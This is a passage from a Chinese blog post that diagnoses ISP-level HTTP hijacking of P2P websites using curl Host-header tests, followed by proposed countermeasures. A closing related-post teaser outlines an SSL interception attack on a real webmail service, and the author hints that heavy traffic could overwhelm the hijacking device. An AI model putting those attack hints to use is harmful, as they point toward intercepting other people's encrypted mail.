*   Trying x.x.x.x... connected
* Connected to www.verycd.com (x.x.x.x) port 80 (#0)
&gt; GET /verycd.com HTTP/1.1
&gt; User-Agent: curl/7.16.3 (powerpc-apple-darwin9.0) libcurl/7.16.3 OpenSSL/0.9.7l zlib/1.2.3
&gt; Accept: */*
&gt; Host: www.veryc.com
&gt; 
&lt; HTTP/1.1 200 OK
(略)
&nbsp;
(3)
Sam@Bogon:~$ curl -v -H 'Host: w.verycd.com' www.verycd.com
* About to connect() to www.verycd.com port 80 (#0)
*   Trying x.x.x.x... connected
* Connected to www.verycd.com (x.x.x.x) port 80 (#0)
&gt; GET / HTTP/1.1
&gt; User-Agent: curl/7.16.3 (powerpc-apple-darwin9.0) libcurl/7.16.3 OpenSSL/0.9.7l zlib/1.2.3
&gt; Accept: */*
&gt; Host: w.verycd.com
&gt; 
&lt; HTTP/1.1 200 OK
(略)</pre></div></div>

<p>例子中，分别用了4种测试方法<br />
1为发送一个主机头为www.veryc.com的请求到verycd的服务器，可以看到数据正常返回，没有被劫持<br />
2为发送了一个主机头为verycd.com的请求到verycd的服务器，可以看到数据被劫持了<br />
3为发送了一个主机头为www.veryc.com，使用GET方式获取/verycd.com文件的请求到verycd的服务器，可以看到数据正常返回，没有被劫持<br />
4为发送一个主机头为w.verycd.com的请求到verycd的服务器，可以发现数据没有被劫持</p>
<p>通过上面的结论可以看出，用于劫持的设备只对域名的host部分做判断。</p>
<p>我们再来一个有趣的测试：如果把host发送到网通的bbn.com.cn去会怎样呢？</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">Sam@Bogon:~$ curl -v -H &quot;Host: www.vercd.com&quot; www.bbn.com.cn
* About to connect() to www.bbn.com.cn port 80 (#0)
*   Trying 202.106.195.131... connected
* Connected to www.bbn.com.cn (202.106.195.131) port 80 (#0)
&gt; GET / HTTP/1.1
&gt; User-Agent: curl/7.16.3 (powerpc-apple-darwin9.0) libcurl/7.16.3 OpenSSL/0.9.7l zlib/1.2.3
&gt; Accept: */*
&gt; Host: www.vercd.com
&gt; 
&lt; HTTP/1.1 200 OK
&lt; Date: Sat, 08 Nov 2008 13:33:06 GMT
&lt; Server: Apache/2.0.59 (Unix) DAV/2
&lt; Last-Modified: Thu, 06 Nov 2008 07:21:36 GMT
&lt; ETag: &quot;73c63-119c6-259cc000&quot;
&lt; Accept-Ranges: bytes
&lt; Content-Length: 72134
&lt; Content-Type: text/html
&lt; Set-Cookie: BIGipServerweb_pool=107325632.20480.0000; path=/
&lt; 
&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;
(略)</pre></div></div>

<p>可以看到，什么事情都不会发生。这说明劫持设备应该是在北京网通出口上。</p>
<p>为了证实设备就在北京网通的出口上，我分别用北京不同线路的机器进行了测试，发现访问均一切正常。但某小ISP租用了网通的出口，出现了被劫持的情况。<br />
为了再证实我的猜想，我在一台位于北京某不受影响的ISP的服务器上分别装了pptpd和rinetd，先测试使用VPN链接到此服务器pptpd，所有数据包通过此服务器发送，访问VeryCD.com，一切正常，数据没有被劫持。<br />
然后再把本机的hosts指向此服务器，通过服务器的rinetd对数据包进行转发至VeryCD的服务器，发现数据包被劫持。<br />
结论：加密后的数据不会被劫持。</p>
<p>我再到外部随便找了一台服务器，此服务器跟VeryCD无任何关系，也不位于同一物理位置，结果如下</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">Sam@Bogon:~$ curl -v -H 'Host: www.verycd.com' server.outside
* About to connect() to server.outside port 80 (#0)
*   Trying x.x.x.x... connected
* Connected to server.outside (x.x.x.x) port 80 (#0)
&gt; GET / HTTP/1.1
&gt; User-Agent: curl/7.16.3 (powerpc-apple-darwin9.0) libcurl/7.16.3 OpenSSL/0.9.7l zlib/1.2.3
&gt; Accept: */*
&gt; Host: www.verycd.com
&gt; 
&lt; HTTP/1.1 200 OK
&lt; Content-Type: text/html;charset=gb2312
&lt; Content-Length:182
&lt; 
&lt;html&gt;&lt;head&gt;&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=gb2312&quot;&gt;&lt;title&gt;warn&lt;/title&gt;&lt;/head&gt;&lt;frameset cols=&quot;100&quot;&gt;&lt;frame src=&quot;http://www.baidu.com&quot;/&gt;&lt;/frameset&gt;&lt;/html&gt;
* Connection #0 to host server.outside left intact
* Closing connection #0</pre></div></div>

<p>分析到了这一步，事情已经非常明朗了：<br />
在北京网通的出口，被人有意或者无意放置了一套类似于GFW的设备用于劫持所有在列表内的P2P网站。我个人更加愿意相信这是网通在测试新设备。因为很明显，劫持后返回的数据使用了一个警告（warn）的标题，劫持者对于这些被劫持的网站的流量有一个很清晰的认识，并没有自己使用服务器来支撑这些流量（根据我掌握的数据，这些网站的流量，就算是静态的html文件也需要十几台服务器做支撑），而是不带任何用于分成或者统计的代码跳转到百度（百度用于统计和分成的代码是tn=xxxx）。（被劫持的第三天有部分流量被分到information.com，直接把information.com弄挂了）。<br />
至于百度也是有苦难言。白白来了这么多无效流量，消耗资源不说，还要背上一个骂名。据我所知，出事后百度也在到处找方式接触受害网站了解情况。</p>
<p>====<br />
解决方法：<br />
根据上面的结论，这件事情的解决方法有下面几种：<br />
1.更换域名，跟劫持者耗。对网站所有者来说低成本，但会造成大量用户不知道新域名而流失。但可以借助百度贴吧来解决。<br />
2.使用BGP协议，更改北京网通用户到网站服务器之间的路由，跳过劫持设备。缺点是成本太高，BGP协议可以被网通人为忽略。<br />
3.在劫持设备以内放置一台分流服务器，分流服务器使用VPN或者别的加密链路链接至主服务器进行数据交换。这样用户使用非加密链接链接至分流服务器，劫持设备无法进行劫持。<br />
4.网站使用ssl，用户和网站之间数据均经过加密，劫持设备无法截取。</p>
<p>====<br />
课外作业：<br />
既然这套设备类似GFW，众所周知GFW是双向的，不知道这套设备怎样呢？带着这个疑问，我做了一个课外实验，让外省的朋友使用上面的测试方法访问我的机器</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">curl -vIH &quot;Host: www.verycd.com&quot; http://124.64.1xx.xx/
* About to connect() to 124.64.1xx.xx port 80 (#0)
*   Trying 124.64.1xx.xx... connected
* Connected to 124.64.1xx.xx (124.64.1xx.xx) port 80 (#0)
&gt; HEAD / HTTP/1.1
&gt; User-Agent: curl/7.16.3 (powerpc-apple-darwin9.0) libcurl/7.16.3 OpenSSL/0.9.7l zlib/1.2.3
&gt; Accept: */*
&gt; Host: www.verycd.com
&gt; 
&lt; HTTP/1.1 200 OK
HTTP/1.1 200 OK
&lt; Date: Thu, 06 Nov 2008 15:28:27 GMT
Date: Thu, 06 Nov 2008 15:28:27 GMT
&lt; Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.7l
Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.7l
&lt; Last-Modified: Mon, 24 Sep 2007 05:23:06 GMT
Last-Modified: Mon, 24 Sep 2007 05:23:06 GMT
&lt; ETag: &quot;29d84-17ef-43adad0ba6280&quot;
ETag: &quot;29d84-17ef-43adad0ba6280&quot;
&lt; Accept-Ranges: bytes
Accept-Ranges: bytes
&lt; Content-Length: 6127
Content-Length: 6127
&lt; MS-Author-Via: DAV
MS-Author-Via: DAV
&lt; Content-Type: text/html
Content-Type: text/html</pre></div></div>

<p>可以看到，这套设备真不咋地，不支持反向过滤。</p>
<p>====<br />
又及：<br />
在测试的过程中，我发现连续发送N个请求出去，总有几个漏网之鱼，能正确返回数据。这说明了啥？<br />
1.设备是旁路的，失败的截取不会影响到正常的数据传输<br />
2.设备要么是性能有缺陷，要么有防ddos的功能。我更加愿意相信前者。<br />
3.不管设备是性能有缺陷还是能防ddos，我相信一点：在大量数据的攻击下，设备肯定会失去部分作用。</p>


<p>Related posts:<ol><li><a href='http://wuhongsheng.com/it/2009/09/ssl-hijack/' rel='bookmark' title='Permanent Link: SSL窃听攻击实操'>SSL窃听攻击实操</a> <small>OK，我恶毒的心灵又开始蠢蠢欲动了。今天带给大家的是SSL窃听攻击从理论到实际操作的成功例子 SSL窃听最主要的是你要有一张合法的SSL证书，并且证书名称必须和被攻击的网站域名一致。目前各大CA都有很低廉价格的SSL证书申请，最低的价格只需要10美元不到，甚至还有一些域名注册商大批量采购这些证书，并且在你注册域名的时候免费送你一张。 对于低廉价格的域名SSL证书，CA签发的前提只有一个：只要你有申请的域名某几个特定的邮箱，并且在CA给这个邮箱发送一封确认邮件的时候approve就可以了。 所以，问题的关键是如何截获到这封确认邮件。但我相信某些机构是有办法能做到这一点的。 当然，还有更加简单的办法：国内不少软件在安装的时候，都会偷偷摸摸的把自己的root CA装到用户电脑里面去。Windows的安全机制让这个导入root CA的操作根本没有任何的确认信息和提示。甚至微软还提供了一个专用的小程序用于导入证书。只要你找到这些软件厂商，就可以任意生成证书，并且这些证书都是有效的，不会出现警告。 废话不多说了，开始干活。这里sohu的vip邮箱为例（他们能在整个使用过程中支持ssl），先生成一张vip.sohu.com的key和csr Sam@Bra:~$ mkdir...</small></li>
</ol></p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://wuhongsheng.com/it/2008/11/analysis-and-resolve-of-hijack-when-beijing-cnc-users-access-verycdcom-and-others-p2p-website/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic Page Served (once) in 0.472 seconds -->
